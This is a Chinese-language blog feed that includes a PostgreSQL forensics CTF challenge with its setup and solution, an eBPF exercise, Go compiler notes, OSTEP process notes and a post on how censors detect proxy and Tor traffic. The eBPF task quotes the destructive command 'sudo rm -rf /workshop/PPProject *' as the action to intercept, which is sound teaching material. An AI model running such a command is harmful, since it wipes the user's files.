&lt;pre&gt;&lt;code&gt;postgre=# CREATE DATABASE owo_db;
postgre=# \c owo_db

CREATE TABLE flag1 (
    flag TEXT
);

postgre=# INSERT INTO flag1 VALUES (&apos;flag{W0w_&apos;);
postgre=# CREATE USER sast WITH PASSWORD &apos;123456&apos;;
postgre=# GRANT CONNECT ON DATABASE owo_db TO sast;
postgre=# GRANT USAGE ON SCHEMA public TO sast;
postgre=# GRANT SELECT ON flag1 TO sast;

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE flag2 (flag text);
ALTER TABLE flag2 SET (autovacuum_enabled = false);
ALTER TABLE flag2 SET (toast.autovacuum_enabled = false);

INSERT INTO flag2 VALUES (&apos;w3lcOme_2_SAST!}&apos;);
DELETE FROM flag2;
INSERT INTO flag2 VALUES (&apos;Oh...The flag was deleted by admin..BUT WAIT?Autovacuum was disabled?&apos;);


&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ nano /etc/postgresql/15/main/postgresql.conf

# port = 5432
port = 11451
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;exit 
systemctl stop postgresql

chown -R 1145:1145 /var/lib/postgresql/15/main
chmod 700 /var/lib/postgresql/15/main

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来看看出题思路吧&lt;/p&gt;
&lt;p&gt;灵感来源于数据迁移，如果从一个服务器的postgresql直接搬到另外一个服务器上的话，两个用户名都是postgres，但实际对应的id并不一样，会出现登陆不上的情况，这就是这个1145用户的来源&lt;/p&gt;
&lt;p&gt;Autovacuum was disabled&lt;/p&gt;
&lt;p&gt;所以Delete 之后不会被自动删除，会滞留在硬盘内部，也就是你们梭的底子）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;WoC-2025/bf97ad7c8e045a7efc835df76a8009a0.png&quot; alt=&quot;小彩蛋&quot; /&gt;&lt;/p&gt;
&lt;p&gt;solution&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chown -R postgres:postgres /var/lib/postgresql/15/main

sudo nano /etc/postgresql/15/main/postgresql.conf

# 把port=11451换成port=5432

sudo systemctl restart postgresql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后psql就修好了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -u postgres 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# \c owo_db
# SELECT * FROM flag1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SELECT * FROM flag&lt;/code&gt; 2的时候发现那句话，搜索一下可以发现有办法解决&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SELECT pg_relation_filepath(&apos;flag2&apos;);&lt;/code&gt; 会告诉你我们要去哪里找&lt;/p&gt;
&lt;p&gt;/var/lib/postgresql/15/main/base/16388&lt;/p&gt;
&lt;p&gt;在末尾能找到&lt;/p&gt;
&lt;p&gt;把两段flag拼接获得结果
&lt;code&gt;flag{W0w_w3lcOme_2_SAST!}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Task 5&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;s3 精神状态堪忧，梦游时总想执⾏ sudo rm -rf /workshop/PPProject *。作为运维组的正义使者，
你需要利⽤ eBPF 技术，在内核层拦截该操作
推荐使⽤:
Rust Aya
Go cilium/ebpf
附加题的附加题：
那如果s3把⽂件夹先mv⾛再去删除呢？
如何通过 eBPF 监控并阻⽌针对该⽬录的 rename 操作
也许代码层⾯实现会⽐较困难，可以在验收的时候聊聊
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靠你们自己研究了，我只负责出题xwx&lt;/p&gt;
&lt;p&gt;用C其实是最合理的吧，不过想怎么实现都行啊&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Go</title><link>https://blog.s3loy.tech/posts/go</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/go</guid><pubDate>Tue, 03 Mar 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::warning
该部分为学习内容，并非完全正确的，仅个人使用和理解，不推荐作为参考
:::&lt;/p&gt;
&lt;h2&gt;Compiler Directives&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://pkg.go.dev/cmd/compile&quot;&gt;Compile command&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::note
使用时//后一定不能有空格，否则编译器会直接忽略&lt;/p&gt;
&lt;p&gt;//go:指令名
:::&lt;/p&gt;
&lt;h3&gt;go:noescape&lt;/h3&gt;
&lt;p&gt;此指令必须前置于无函数体的函数声明,强制修改编译器的逃逸分析结果
断言传递给该函数的所有指针参数及其引用的内存结构，绝对不会逃逸到堆内存&lt;/p&gt;
&lt;p&gt;常用于消除堆分配与 GC 开销
example:
&lt;a href=&quot;https://go.dev/src/internal/bytealg/indexbyte_native.go&quot;&gt;indexbyte_native.go&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//go:noescape
func IndexByte(b []byte, c byte) int

//go:noescape
func IndexByteString(s string, c byte) int
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数的真实实现并不在 Go 里，而是在&lt;a href=&quot;https://go.dev/src/internal/bytealg/indexbyte_amd64.s&quot;&gt;indexbyte_amd64.s&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;b []byte 本质&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type slice struct {
    data *byte
    len  int
    cap  int
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在它被传入了一个
没有函数体、可能是外部实现、编译器看不到代码的&lt;/p&gt;
&lt;p&gt;编译器会保守判断：不知道这个函数会不会保存这个指针 所以它可能逃逸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b.data 可能逃逸 → 整个 slice 逃逸 → 堆分配
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此导致每次调用 IndexByte 都可能产生堆分配 -&amp;gt; GC压力变大 -&amp;gt; 性能下降&lt;/p&gt;
&lt;p&gt;但真实情况这个函数这个函数的汇编实现只是 扫描内存 查找字节 不保存任何指针 不返回 slice 不持久化参数&lt;/p&gt;
&lt;p&gt;所以开发者得到这个结论：它完全是纯函数，不可能导致逃逸&lt;/p&gt;
&lt;p&gt;也就加上了&lt;code&gt;//go:noescape&lt;/code&gt;而不需要保守判断&lt;/p&gt;
&lt;p&gt;使用场景:
无函数体声明&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有函数体
编译器可以自己做分析
不允许你覆盖分析结果&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;它只允许用于汇编实现函数,runtime 内部函数,cgo 桥接函数xwx&lt;/p&gt;
&lt;h3&gt;go:uintptrescapes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;[ ] To Be Continued&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>s3loy</author></item><item><title>Visualization</title><link>https://blog.s3loy.tech/posts/operating-system-visualization</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/operating-system-visualization</guid><pubDate>Tue, 10 Mar 2026 14:54:00 GMT</pubDate><content:encoded>&lt;h2&gt;starter&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;What is an Operating System?&lt;/em&gt;
这个问题困扰了我很久,直到我终于下定决心好好阅读OSTEP这本书&lt;/p&gt;
&lt;p&gt;:::tip
一切内容以&lt;a href=&quot;https://pages.cs.wisc.edu/~remzi/OSTEP/&quot;&gt;OSTEP&lt;/a&gt;表述为准
本文章以及后序文章皆为学习记录,而非教学
:::&lt;/p&gt;
&lt;h2&gt;CPU visualization&lt;/h2&gt;
&lt;h3&gt;Process&lt;/h3&gt;
&lt;p&gt;电脑的物理CPU是有限的,但操作系统通过虚拟化CPU来创造出有无数CPU可用的情况,
通过让一个进程只运行一个 时间片,然后切换到其他进程,这是**时分共享(time sharing)**CPU技术,潜在开销是性能损失 &amp;lt;-CPU共享导致进程运行变慢&lt;/p&gt;
&lt;p&gt;要实现CPU虚拟化,需要&lt;strong&gt;机制(mechanism)&lt;/strong&gt;-&amp;gt; 低级的方法或协议,实现所需功能(eg. 上下文切换 content switch)
还需要&lt;strong&gt;策略(policy)&lt;/strong&gt;-&amp;gt;做某种决定的算法(eg. 调度策略 scheduling policy)&lt;/p&gt;
&lt;h4&gt;The Abstraction: A Process&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;进程(Process) : 操作系统为正在运行的程序提供的抽象&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因此一个进程其实就只是一个正在运行的程序&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;进程的机械状态(machine state) : 程序在运行时可读取或更新内容&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;机械状态由两部分组成:
第一个是内存 &amp;lt;-指令&amp;amp;正在运行的程序读取和写入的数据
可以被进程访问到的内存是&lt;strong&gt;地址空间(address space)&lt;/strong&gt; ,是该进程的一部分&lt;/p&gt;
&lt;p&gt;第二个是寄存器 &amp;lt;-指令明确读取或更新寄存器
&lt;em&gt;有些非常特殊的寄存器构成了机械状态的一部分&lt;/em&gt;(eg. 程序计数器 Program Counter, 栈指针 stack pointer, 帧指针 frame pointer...)&lt;/p&gt;
&lt;h4&gt;Process API&lt;/h4&gt;
&lt;p&gt;现代操作系统必须以某种形式提供以下API&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建(create) : 新建进程的方法&lt;/li&gt;
&lt;li&gt;销毁(destroy) ： 强制销毁进程的接口&lt;/li&gt;
&lt;li&gt;等待(wait) : 等待进程停止运行&lt;/li&gt;
&lt;li&gt;其他控制(miscellaneous control) : 有可能有的其他控制方法&lt;/li&gt;
&lt;li&gt;状态(status) : 调接口获得进程的状态信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Process Creation: A Little More Detail&lt;/h4&gt;
&lt;p&gt;在这是程序如何转化为进程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1.将代码和所有静态数据加载到内存中,加载到进程的地址空间&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;程序会以某种可执行格式驻留在磁盘上(或者在基于闪存的SSD上)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Operating-System-Visualization/from-program-to-process.png&quot; alt=&quot;load&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现代操作系统惰性(lazily)执行加载,即仅在程序执行期间需要加载的代码或数据片段,才会加载
在内存虚拟化时会说加载机制,你先别急&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.为程序的运行时栈(run-time stack 或 stack)分配一些内存&lt;/li&gt;
&lt;li&gt;3.为程序的堆(heap)分配一些内存&lt;/li&gt;
&lt;li&gt;4.执行一些其他初始化任务,特别是I/O相关任务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;做完这些事情之后,OS将CPU的控制权转移给新创建的进程中,程序开始执行&lt;/p&gt;
&lt;h4&gt;Process State&lt;/h4&gt;
&lt;p&gt;进程可以处于以下3种状态之一:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;运行(running)&lt;/li&gt;
&lt;li&gt;就绪(ready)  &amp;lt;-并不在此时运行,但是进程已经准备好了&lt;/li&gt;
&lt;li&gt;阻塞(blocked) &amp;lt;- 一个进程执行了某种操作,直到发生其他事件时才会准备运行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然还可以处于初始(initial) 和 最终(final / zombie in UNIX)状态&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    Running((运行))
    Ready((就绪))
    Blocked((阻塞))

    Running --&amp;gt;|&quot;取消调度&quot;| Ready
    Ready --&amp;gt;|&quot;调度&quot;| Running
    Running --&amp;gt;|&quot;I/O: 发起&quot;| Blocked
    Blocked --&amp;gt;|&quot;I/O: 完成&quot;| Ready
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
Process Control Block(PCB):
进程控制块,存储关于进程的个体结构
:::&lt;/p&gt;
&lt;h3&gt;Interlude: ProcessAPI&lt;/h3&gt;
&lt;h4&gt;The fork() System Call&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main(int argc, char *argv[]) {
  printf(&quot;hello (pid:%d)\n&quot;, (int) getpid());
  int rc = fork();
  if (rc &amp;lt; 0) {
    // fork failed
    fprintf(stderr, &quot;fork failed\n&quot;);
    exit(1);
  } else if (rc == 0) {
    // child (new process)
    printf(&quot;child (pid:%d)\n&quot;, (int) getpid());
  } else {
    // parent goes down this path (main)
    printf(&quot;parent of %d (pid:%d)\n&quot;,
    rc, (int) getpid());
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;wsl跑了一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc p1.c -o p1
$ ./p1
hello (pid:990)
parent of 991 (pid:990)
child (pid:991)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fork()创建子进程,从创建的位置开始运行,而非main()
fork()结束后,父进程和子进程都在内存内,输出结果取决于CPU调度程序(Scheduler)
因为无法预测操作系统的调度策略,所以程序的输出顺序时不确定的(non-deterministic)
在后序多进程程序(multi-threaded program)和并发(concurrency)时会更加明显&lt;/p&gt;
&lt;h4&gt;The wait() System Call&lt;/h4&gt;
&lt;p&gt;wait()系统调用会在子进程运行结束后才返回&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;

int main(int argc, char *argv[])
{
    printf(&quot;hello world (pid:%d)\n&quot;, (int) getpid());
    int rc = fork();
    if (rc &amp;lt; 0) {
        // fork failed; exit
        fprintf(stderr, &quot;fork failed\n&quot;);
        exit(1);
    } else if (rc == 0) {
        // child (new process)
        printf(&quot;hello, I am child (pid:%d)\n&quot;, (int) getpid());
  sleep(1);
    } else {
        // parent goes down this path (original process)
        int wc = wait(NULL);
        printf(&quot;hello, I am parent of %d (wc:%d) (pid:%d)\n&quot;,
         rc, wc, (int) getpid());
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ ./p2
hello world (pid:1350)
hello, I am child (pid:1351)
hello, I am parent of 1351 (wc:1351) (pid:1350)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;父进程调用wait(),延迟执行,直到子进程执行完毕。当子进程结束时,wait()才返回父进程,使得程序输出结果变稳定了&lt;/p&gt;
&lt;h4&gt;Finally, The exec() System Call&lt;/h4&gt;
&lt;p&gt;它也是创建进程 API 的一个重要部分,可以让子进程执行与父进程不同的程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;

int main(int argc, char *argv[])
{
    printf(&quot;hello world (pid:%d)\n&quot;, (int) getpid());
    int rc = fork();
    if (rc &amp;lt; 0) {
        // fork failed; exit
        fprintf(stderr, &quot;fork failed\n&quot;);
        exit(1);
    } else if (rc == 0) {
        // child (new process)
        printf(&quot;hello, I am child (pid:%d)\n&quot;, (int) getpid());
        char *myargs[3];
        myargs[0] = strdup(&quot;wc&quot;);   // program: &quot;wc&quot; (word count)
        myargs[1] = strdup(&quot;p3.c&quot;); // argument: file to count
        myargs[2] = NULL;           // marks end of array
        execvp(myargs[0], myargs);  // runs word count
        printf(&quot;this shouldn&apos;t print out&quot;);
    } else {
        // parent goes down this path (original process)
        int wc = wait(NULL);
        printf(&quot;hello, I am parent of %d (wc:%d) (pid:%d)\n&quot;,
         rc, wc, (int) getpid());
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ ./p3
hello world (pid:605)
hello, I am child (pid:606)
  35  120 1024 p3.c
hello, I am parent of 606 (wc:606) (pid:605)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Why? Motivating The API&lt;/h4&gt;
&lt;p&gt;构建shell时好用
fork()和 exec()的分离,让 shell 可以方便地实现很多有用的功能&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;

int main(int argc, char *argv[])
{
    int rc = fork();
    if (rc &amp;lt; 0) {
        // fork failed; exit
        fprintf(stderr, &quot;fork failed\n&quot;);
        exit(1);
    } else if (rc == 0) {
  // child: redirect standard output to a file
  close(STDOUT_FILENO); 
  open(&quot;./p4.output&quot;, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU);

  // now exec &quot;wc&quot;...
        char *myargs[3];
        myargs[0] = strdup(&quot;wc&quot;);   // program: &quot;wc&quot; (word count)
        myargs[1] = strdup(&quot;p4.c&quot;); // argument: file to count
        myargs[2] = NULL;           // marks end of array
        execvp(myargs[0], myargs);  // runs word count
    } else {
        // parent goes down this path (original process)
        int wc = wait(NULL);
        assert(wc &amp;gt;= 0);
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::devil1
僵尸进程和孤儿进程怎么产生的?
fork()出的子进程先结束,父进程未调用wait(),父进程就成为僵尸进程,占用PID;
父进程先死，子进程还在运行
:::
但幸运的是我们的init会一直wait()循环,有时候这个孤儿进程反而是很好被利用的点&lt;/p&gt;
&lt;h3&gt;Mechanism: Limited Direct Execution&lt;/h3&gt;
&lt;p&gt;通过时分共享(time sharing)CPU，实现了虚拟化&lt;/p&gt;
&lt;p&gt;但构建该虚拟化机制，面临着要&lt;em&gt;保持控制权的同时获得高性能&lt;/em&gt;的挑战&lt;/p&gt;
&lt;h4&gt;Basic Technique: Limited Direct Execution&lt;/h4&gt;
&lt;p&gt;受限直接执行(limited direct execution)&lt;/p&gt;
&lt;p&gt;有受限那当然就有直接运行协议:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant OS
    participant Program

    OS-&amp;gt;&amp;gt;OS: 创建 PCB
    OS-&amp;gt;&amp;gt;OS: 地址空间初始化
    OS-&amp;gt;&amp;gt;OS: 加载代码段/数据段
    OS-&amp;gt;&amp;gt;OS: 初始化用户栈（argc/argv）
    OS-&amp;gt;&amp;gt;OS: 设置 CPU 上下文（PC, SP）

    OS-&amp;gt;&amp;gt;Program: 切换到用户态，跳转到 main

    Program-&amp;gt;&amp;gt;Program: 运行 main()
    Program-&amp;gt;&amp;gt;Program: 执行用户逻辑
    Program--&amp;gt;&amp;gt;OS: return（退出）

    OS-&amp;gt;&amp;gt;OS: 回收资源（内存/PCB）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这个方法在虚拟化CPU的时候会有问题&lt;/p&gt;
&lt;p&gt;咕咕咕 ing
最近很忙&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Why-Proxy-Traffic-Gets-Detected</title><link>https://blog.s3loy.tech/posts/why-proxy-traffic-gets-detected</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/why-proxy-traffic-gets-detected</guid><pubDate>Thu, 09 Apr 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::warning
本文只讨论公开论文、协议标准、公开泄漏分析里已经出现过的机制
:::&lt;/p&gt;
&lt;h2&gt;序&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;代理流量有特征,所以会被发现&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;说点大家不知道的&lt;/p&gt;
&lt;p&gt;但随着时间的演变,技术也都在不断改进&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代理协议一直在换壳&lt;/li&gt;
&lt;li&gt;审查系统也一直在换抓手&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;协议怎么变,审查就怎么跟着变。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph LR
    subgraph Pipeline [核心检测流水线]
        direction LR
        A[&amp;lt;b&amp;gt;流量观测&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;IP / 端口 / ASN&amp;lt;br/&amp;gt;首包特征&amp;lt;br/&amp;gt;握手形态] --&amp;gt; B[&amp;lt;b&amp;gt;候选集粗筛&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;异常端点行为&amp;lt;br/&amp;gt;异常信息熵值&amp;lt;br/&amp;gt;异常握手序列]
        B --&amp;gt; C[&amp;lt;b&amp;gt;探测与确认&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;主动探测&amp;lt;br/&amp;gt;短期阻断测试&amp;lt;br/&amp;gt;多维度复测]
        C --&amp;gt; D[&amp;lt;b&amp;gt;规则与资产库&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;流量指纹特征库&amp;lt;br/&amp;gt;动态黑白名单&amp;lt;br/&amp;gt;集群状态同步]
    end

    E[&amp;lt;b&amp;gt;服务端 / 产品画像&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;协议族推断&amp;lt;br/&amp;gt;应用或厂商识别&amp;lt;br/&amp;gt;云服务/网段归属] --&amp;gt; B
    F[&amp;lt;b&amp;gt;用户行为画像&amp;lt;/b&amp;gt;&amp;lt;br/&amp;gt;已知代理用户标记&amp;lt;br/&amp;gt;新代理服务发现&amp;lt;br/&amp;gt;行为与设备关联图谱] --&amp;gt; D

    class A,B,C,D box;
    class E auxiliary;
    class F auxiliary2;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;密文之前&lt;/h2&gt;
&lt;p&gt;你是如何看待“流量被检测”的&lt;/p&gt;
&lt;p&gt;有个大系统坐在那里,把你的密文拆开、看懂、分类、下结论&lt;/p&gt;
&lt;p&gt;现实世界里当然也有更重的检查,但大规模系统要稳定运行下去,机制通常都很朴素：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;挑出可疑目标&lt;/li&gt;
&lt;li&gt;决定是否多花成本&lt;/li&gt;
&lt;li&gt;讲确认过的沉淀成规则、指纹、名单、画像&lt;/li&gt;
&lt;li&gt;减少后续处理时间&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以“被检测”在很多时候更接近这些状态：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进了候选集&lt;/li&gt;
&lt;li&gt;被打了主动探针&lt;/li&gt;
&lt;li&gt;被触发短时残余封锁&lt;/li&gt;
&lt;li&gt;被归进某种协议 / 某个产品 / 某家服务商的指纹库&lt;/li&gt;
&lt;li&gt;被挂到用户画像或服务器画像里&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就带来一个很关键的事实：&lt;strong&gt;payload 黑下来以后,shape 还在&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;网络上依旧能看到很多东西：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IP / Port / AS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第一包长度&lt;/li&gt;
&lt;li&gt;第一包像不像正常协议&lt;/li&gt;
&lt;li&gt;握手字段顺序如何&lt;/li&gt;
&lt;li&gt;有没有很稳定的实现习惯&lt;/li&gt;
&lt;li&gt;包长分布和时序是否合理&lt;/li&gt;
&lt;li&gt;这个端点以前有没有上过名单&lt;/li&gt;
&lt;li&gt;这个用户以前有没有被标过&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是问题就变成了：&lt;strong&gt;代理到底把哪一层藏住了,又把哪一层留在了外面&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;从零开始的打代理生活: 显式代理和固定端点&lt;/h2&gt;
&lt;p&gt;很早期的代理其实挺诚实的&lt;/p&gt;
&lt;p&gt;显式 &lt;code&gt;HTTP proxy&lt;/code&gt; 会有 &lt;code&gt;CONNECT&lt;/code&gt;,&lt;code&gt;SOCKS5&lt;/code&gt; 会有自己的 greeting,目标端点也常常很固定&lt;/p&gt;
&lt;p&gt;如果一个代理服务长期挂在某个云厂商、某个热门端口、某个已经被重点盯住的网段上,它先天就比普通业务更容易进候选集&lt;/p&gt;
&lt;p&gt;这一步看起来土,实际很有用&lt;/p&gt;
&lt;p&gt;因为“端点发现”本来就是最便宜的一层筛选&lt;/p&gt;
&lt;p&gt;早期的 &lt;code&gt;Tor&lt;/code&gt; 也绕不过这个问题&lt;/p&gt;
&lt;p&gt;:::note
&lt;a href=&quot;https://zh.wikipedia.org/wiki/Tor&quot;&gt;What is Tor&lt;/a&gt;
源于“The Onion Router”（洋葱路由）的英语缩写,实现匿名通信的自由软件
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant U as 用户客户端
    participant D as 公开目录
    participant G as Guard/入口节点
    participant M as 中继节点
    participant E as 出口节点
    participant S as 目标网站

    U-&amp;gt;&amp;gt;D: 获取网络共识与入口信息
    U-&amp;gt;&amp;gt;G: 连接入口节点
    G-&amp;gt;&amp;gt;M: 转发流量
    M-&amp;gt;&amp;gt;E: 转发流量
    E-&amp;gt;&amp;gt;S: 访问目标网站
    S--&amp;gt;&amp;gt;E: 返回响应
    E--&amp;gt;&amp;gt;M: 回传数据
    M--&amp;gt;&amp;gt;G: 回传数据
    G--&amp;gt;&amp;gt;U: 返回给用户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一阶段的关键问题很直接：入口一旦可枚举,就可以被集中封锁
2012 年 Phil Winter 和 Stefan Lindskog 的研究已经把这个阶段描述得很清楚：早期 GFW 可以通过字符串匹配和 IP 封锁,直接打掉一批 Tor 入口
参考：&lt;a href=&quot;https://www.usenix.org/sites/default/files/conference/protected-files/winter_foci12_slides.pdf&quot;&gt;How the Great Firewall of China Is Blocking Tor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;所以这条演进线非常自然：&lt;/p&gt;
&lt;p&gt;入口公开 → 容易被封
开始“藏入口”（Bridge）
再进一步给流量加外壳（如 TLS 封装）
对抗焦点从“明文特征”转向“握手指纹、实现细节、时序与主动探测”&lt;/p&gt;
&lt;h2&gt;re:从零开始的打代理生活: TLS 握手&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Tor bridge&lt;/code&gt; 的思路很直接：&lt;/p&gt;
&lt;p&gt;既然公开 relay 容易被一锅端,那就把入口做小、做散、做私有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant U as 用户客户端
    participant B as Bridge
    participant C as 审查方
    participant T as Tor网络

    U-&amp;gt;&amp;gt;U: 通过 BridgeDB/其他渠道获取 Bridge
    U-&amp;gt;&amp;gt;B: 使用 PT 建立混淆连接
    C-&amp;gt;&amp;gt;C: 难以直接枚举（可能主动探测）
    B-&amp;gt;&amp;gt;T: 转入 Tor 路由
    T--&amp;gt;&amp;gt;U: 建立匿名电路
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后也被检测方通过握手特征与主动探测反制&lt;/p&gt;
&lt;p&gt;入口虽然藏起来了,握手还是要干的&lt;/p&gt;
&lt;p&gt;2012 年那组测量里,一个经典发现就是：&lt;/p&gt;
&lt;p&gt;当时 GFW 可以根据 &lt;code&gt;TLS ClientHello&lt;/code&gt; 里的特定模式,把疑似 Tor 连接先挑出来；接着再从中国境内不同 IP 发起回连,对对应的 bridge 做主动探测。探测成功,&lt;code&gt;IP:port&lt;/code&gt; 就会进入封锁流程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    autonumber
    participant U as 用户客户端
    participant G as GFW/DPI
    participant B as Bridge
    participant T as Tor网络

    Note over U,G: 1) 先建立 TCP 连接
    U-&amp;gt;&amp;gt;B: TCP SYN
    B--&amp;gt;&amp;gt;U: SYN/ACK
    U-&amp;gt;&amp;gt;B: ACK

    Note over U,G: 2) TLS 握手开始（关键可观测点）
    U-&amp;gt;&amp;gt;B: ClientHello（版本/扩展/套件/长度/时序）
    G-&amp;gt;&amp;gt;G: 被动特征分析（指纹+行为）
    B--&amp;gt;&amp;gt;U: ServerHello + 证书 + ...
    U-&amp;gt;&amp;gt;B: Finished
    B--&amp;gt;&amp;gt;U: Finished

    Note over U,B: 3) 进入加密应用数据（内容已不可见）
    U-&amp;gt;&amp;gt;B: Encrypted Application Data
    B-&amp;gt;&amp;gt;T: 转发到 Tor 路径

    alt 被动阶段判为“可疑入口”
        G-&amp;gt;&amp;gt;G: 记录可疑 IP:Port
        G-&amp;gt;&amp;gt;B: 主动探测连接（验证是否为特定代理行为）
        B--&amp;gt;&amp;gt;G: 若响应模式可识别 -&amp;gt; 提高置信度
        G-&amp;gt;&amp;gt;G: 执行封锁策略（该入口被干扰/阻断）
    else 未触发高置信度
        G-&amp;gt;&amp;gt;G: 暂不处理或继续观察
    end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就是后来很多检测链的母版：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先被动观察&lt;/li&gt;
&lt;li&gt;再主动探测&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;被动观察便宜,适合大规模运行&lt;/p&gt;
&lt;p&gt;主动探测需要的成本高,但此时目标已经缩小了&lt;/p&gt;
&lt;p&gt;而且主动探测很吃实现细节&lt;/p&gt;
&lt;p&gt;代理服务端只要在某些探针输入下,反应得足够稳定,足够像某个实现,那就会留下证据&lt;/p&gt;
